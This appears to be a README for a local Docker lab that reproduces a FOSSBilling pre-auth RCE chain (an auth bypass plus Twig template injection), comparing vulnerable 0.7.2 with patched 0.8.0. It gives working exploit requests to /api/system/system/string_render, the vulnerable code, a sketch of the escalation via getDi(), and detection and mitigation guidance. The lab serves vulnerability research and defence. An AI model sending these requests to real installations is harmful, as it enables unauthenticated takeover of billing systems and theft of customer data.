
Docker lab reproducing the FOSSBilling pre-auth RCE chain (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) with a Python PoC and patched comparison target.
| CVE | Type | CVSS v4 | GHSA | Description |
|---|
| CVE-2026-27604 | Auth Bypass | 10.0 | GHSA-78x5-c8gw-8279 | Missing throw in API role checker exposes admin endpoints to unauthenticated callers |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Unsandboxed Twig template rendering via string_render API |
FOSSBilling is a free and open-source billing and client management platform. Versions 0.5.4 through 0.7.2 are affected. FOSSBilling 0.8.0 patches both vulnerabilities.
This lab compares two FOSSBilling versions:
| Service | FOSSBilling version | Purpose | URL |
|---|---|---|---|
| vuln | 0.7.2 | Vulnerable target | http://localhost:8081 |
| patched | 0.8.0 | Patched target | http://localhost:8082 |
The validated chain in this local lab is:
Unauthenticated HTTP POST
→ /api/system/system/string_render
→ Role "system" resolves to cron admin identity (CVE-2026-27604)
→ _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496)
→ Server evaluates the template expression
→ Returns {"result":"49","error":null}
The patched target (0.8.0) returns:
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
The lab is intentionally scoped to local Docker services. It does not target external systems and does not include web shells, malware, persistence, external callbacks, database dumping, or destructive payloads.
The Pre-Auth RCE requires both vulnerabilities working together:
┌──────────────────────────────────────────────────────────────┐
│ STEP 1: Auth Bypass (CVE-2026-27604) │
│ │
│ URL path: /api/system/system/string_render │
│ Role "system" → cron admin identity │
│ Exception instantiated but never thrown │
│ → Unauthenticated caller gets admin API access │
├──────────────────────────────────────────────────────────────┤
│ STEP 2: SSTI (CVE-2026-28496) │
│ │
│ Admin API method: System\Api\Admin::string_render() │
│ _tpl parameter → Twig createTemplate() → render() │
│ No sandbox enforcement │
│ → Server-side template evaluation │
├──────────────────────────────────────────────────────────────┤
│ COMBINED: Pre-Auth RCE │
│ │
│ One unauthenticated HTTP POST │
│ → Admin access (auth bypass) │
│ → Template injection (SSTI) │
│ → getDi() exposes Pimple DI container │
│ → PDO, cache, extension manager, 40+ services reachable │
│ → Remote Code Execution │
└──────────────────────────────────────────────────────────────┘
This lab demonstrates the chain using the safe arithmetic proof {{ 7*7 }}. The full RCE path via getDi() is not demonstrated.
| Claim | Evidence | How to verify |
|---|---|---|
| CVE-2026-27604 is an auth bypass in FOSSBilling API role handling. | GHSA-78x5-c8gw-8279: missing throw in role checker allows /api/system/ to resolve as admin. | Run the PoC: guest path is denied, system path returns admin result. |
| CVE-2026-28496 is an SSTI in FOSSBilling Twig rendering. | GHSA-57mv-jm88-66jc: string_render passes _tpl into Twig createTemplate() without sandbox. | Run the PoC: server evaluates {{ 7*7 }} and returns 49. |
| Both vulnerabilities affect FOSSBilling 0.5.4 through 0.7.2. | Public advisories identify the affected version range. | Compare vuln (0.7.2) and patched (0.8.0) targets. |
| FOSSBilling 0.8.0 patches both vulnerabilities. | Patched target returns "Unknown API call" for the tested endpoint. | Run the PoC against port 8082. |
| The auth bypass gives unauthenticated admin access. | /api/guest/ denies string_render; /api/system/ returns the result without auth. | Run Stage 1 of the PoC. |
| The SSTI evaluates attacker-controlled templates. | {{ 7*7 }} returns 49 through the vulnerable path. | Run Stage 2 of the PoC. |
| The chain enables Pre-Auth RCE. | Auth bypass + SSTI = unauthenticated template injection with admin context. | Run the full chain PoC. |
| The PoC is HTTP-only. | poc.py sends HTTP POST requests only. | Inspect poc/poc.py. |
The FOSSBilling API resolves roles from the URL path:
/api/:role/:module/:method
The role checker validates whether the requested role is allowed. However, in vulnerable versions, the exception for disallowed roles is instantiated but never thrown:
// Simplified vulnerable pattern
if (!in_array($role, $allowed_roles)) {
new \Exception("Role not allowed"); // BUG: missing "throw"
}
Because the exception is never thrown, the validation silently passes. The role system resolves to the cron admin identity, granting full admin API access to any unauthenticated caller.
The security impact:
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
The system role maps to the internal cron admin identity, which has full administrative privileges.
The string_render admin API method receives _tpl from request data and passes it into the Twig template rendering pipeline without sandbox enforcement:
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
The renderString() method falls through to createTemplateFromString():
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
The critical issue: createTemplate($tpl) creates a Twig template from the attacker-controlled string and renders it without sandbox restrictions. The template has access to objects in the template context, including the guest API handler which exposes getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604):
URL path → role = "system"
→ role checker: exception instantiated, NOT thrown
→ system role → cron admin identity
→ admin API access granted without authentication
Step 2 (CVE-2026-28496):
Admin::string_render() → reads _tpl from request
→ Service::renderString() → createTemplateFromString()
→ Twig createTemplate("{{ 7*7 }}")
→ Twig evaluates the expression
→ returns "49"
Full RCE path (not demonstrated in this safe PoC):
{{ guest.getDi() }}
→ returns the Pimple DI container
→ PDO, cache, password hashing, extension manager, 40+ services
→ SQL execution, credential extraction, code execution
FOSSBilling 0.8.0 addresses both vulnerabilities:
Auth Bypass fix (CVE-2026-27604): The role checker now properly throws the exception for disallowed roles.
SSTI fix (CVE-2026-28496): Template rendering is routed through a sandboxed renderer:
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
The sandbox policy blocks method and property access by default:
$methods = [];
$properties = [];
For the public API path tested in this lab, FOSSBilling 0.8.0 does not expose the tested endpoint at all:
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
A source-level regression check confirms the deeper fix:
FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE
FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Service | Component | Version / Role |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 vulnerable target |
| patched | FOSSBilling | 0.8.0 patched target |
| vuln-db | MariaDB | database for vulnerable target |
| patched-db | MariaDB | database for patched target |
| installer-vuln | curl sidecar | auto-installs vulnerable target |
| installer-patched | curl sidecar | auto-installs patched target |
Default exposed services:
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The installer sidecars run automatically during docker compose up. They initialize both FOSSBilling targets with local disposable credentials and then exit.
No Python third-party package is required. The PoC uses Python standard library modules only.
Start the lab from a clean state:
docker compose down -v --remove-orphans
docker compose up -d --build
Check service status:
docker compose ps -a
Expected running services:
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Expected completed installer services (exit code 0):
cve-2026-28496-installer-vuln Exited (0)
cve-2026-28496-installer-patched Exited (0)
Check installer logs:
docker compose logs installer-vuln installer-patched
Run the chain validation against the vulnerable target:
python3 poc/poc.py --url http://localhost:8081
Run the chain validation against the patched target:
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Examples:
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
The PoC validates both CVEs in three stages:
Stage 1 — Auth Bypass (CVE-2026-27604): Compares the guest API path with the system API path to prove unauthenticated admin access.
[1a] POST /api/guest/system/string_render → denied (guest role)
[1b] POST /api/system/system/string_render → admin result (system role, no auth)
Stage 2 — SSTI (CVE-2026-28496): Confirms server-side template evaluation through the bypassed admin endpoint.
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Stage 3 — Chain Assessment: Summarizes the combined chain result.
The PoC is HTTP-only. It does not call Docker, Docker Compose, shell commands, or container APIs.
python3 poc/poc.py --url http://localhost:8081
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present
Target appears to be FOSSBilling >= 0.8.0
Guest path (should be denied):
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
System path (bypasses auth):
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
The system path response from the vulnerable target:
{"result":"49","error":null}
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Expected patched response:
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
The chain enables unauthenticated remote code execution against FOSSBilling, a billing and client management platform that may store:
The demonstrated lab payload is harmless ({{ 7*7 }}). The real-world impact chain via getDi() and the DI container includes:
A single unauthenticated HTTP POST is sufficient to reach the DI container. This PoC does not demonstrate that path.
Suspicious request patterns:
POST /api/system/system/string_render
POST /api/system/* (any admin method via system role)
Request body indicators:
_tpl, {{, }}, getDi, system, string_render
High-signal detection rules:
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output
Recommended monitoring actions:
/api/system/ requests_tpl in JSON bodies{{, }}, getDi)/api/system/ from external IPsUpgrade FOSSBilling to version 0.8.0 or later.
Recommended steps:
/api/system/* at reverse proxy or WAF/api/system/ requestsSecurity engineering lessons:
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
# Stop containers
docker compose down --remove-orphans
# Stop containers and remove volumes
docker compose down -v --remove-orphans
# Remove evidence files
rm -rf evidence/
This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or have explicit authorization to test. Do not use real production credentials, customer data, or API keys in this lab.
The intended scope is limited to:
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The lab does not demonstrate:
CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling
FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling
Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html